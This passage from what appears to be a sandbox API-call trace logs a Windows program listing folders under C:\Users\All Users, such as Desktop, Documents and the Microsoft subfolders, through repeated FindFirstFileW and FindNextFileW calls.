nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", lpFilePart=0x0) returned 0x18 [0208.965] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*" (normalized: "c:\\users\\all users\\comms\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0208.965] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.966] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.966] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0208.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0208.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0208.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.966] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0208.966] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*" (normalized: "c:\\users\\all users\\desktop\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0208.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0208.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.969] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0208.969] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*" (normalized: "c:\\users\\all users\\desktop\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0208.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0209.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0209.183] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0209.183] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*" (normalized: "c:\\users\\all users\\documents\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0209.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0209.186] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0209.186] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*" (normalized: "c:\\users\\all users\\documents\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0209.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0209.190] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0209.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.190] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.191] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0209.191] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0209.191] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0209.191] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0209.192] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0209.192] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd17b1a49, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd17b1a49, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0209.192] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0209.192] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0209.193] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0209.193] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35da50f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x35da50f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0209.193] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0209.193] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0209.194] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xbf84b63e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xbf84b63e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0209.194] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0209.194] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3840877a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3840877a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3840877a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0209.194] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbca7cf5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbca7cf5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0209.195] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3d47fe2c, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d47fe2c, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0209.195] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x448c3dac, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x448c3dac, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0209.195] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0209.195] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x77d1fe08, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x77d1fe08, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.196] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35c3f417, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6520aed4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0209.196] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0209.196] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0209.196] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0209.197] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0209.197] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0209.197] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 0 [0209.197] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0209.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0209.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0209.198] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0209.198] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*" (normalized: "c:\\users\\all users\\microsoft\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.198] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.198] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0209.198] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, 